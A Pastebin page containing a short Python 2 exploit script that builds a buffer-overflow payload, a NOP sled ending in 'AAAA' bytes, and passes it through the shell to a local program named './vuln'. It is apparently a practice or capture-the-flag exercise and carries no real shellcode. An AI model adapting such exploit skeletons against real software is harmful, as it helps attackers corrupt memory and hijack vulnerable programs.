Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import subprocess
- readable_string = """
- 90 90 90 90 90 90 90 90
- 90 90 90 90 90 90 90 90
- 90 90 90 90 90 90 90 90
- 90 90 90 90 90 90 90 90
- 90 90 90 90 90 90 90 90
- 90 90 90 90 90 90 90 90
- 90 90 90 90 41 41 41 41
- """
- exploit_string = ""
- hex_bytes = readable_string.split()
- for b in hex_bytes:
- exploit_string += b.decode("hex")
- subprocess.call("echo "+exploit_string+" > exp_code", shell=True)
- fp = open("exp_code", 'r')
- cmd_arg = fp.read().strip()
- fp.close()
- subprocess.call("./vuln "+cmd_arg, shell=True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement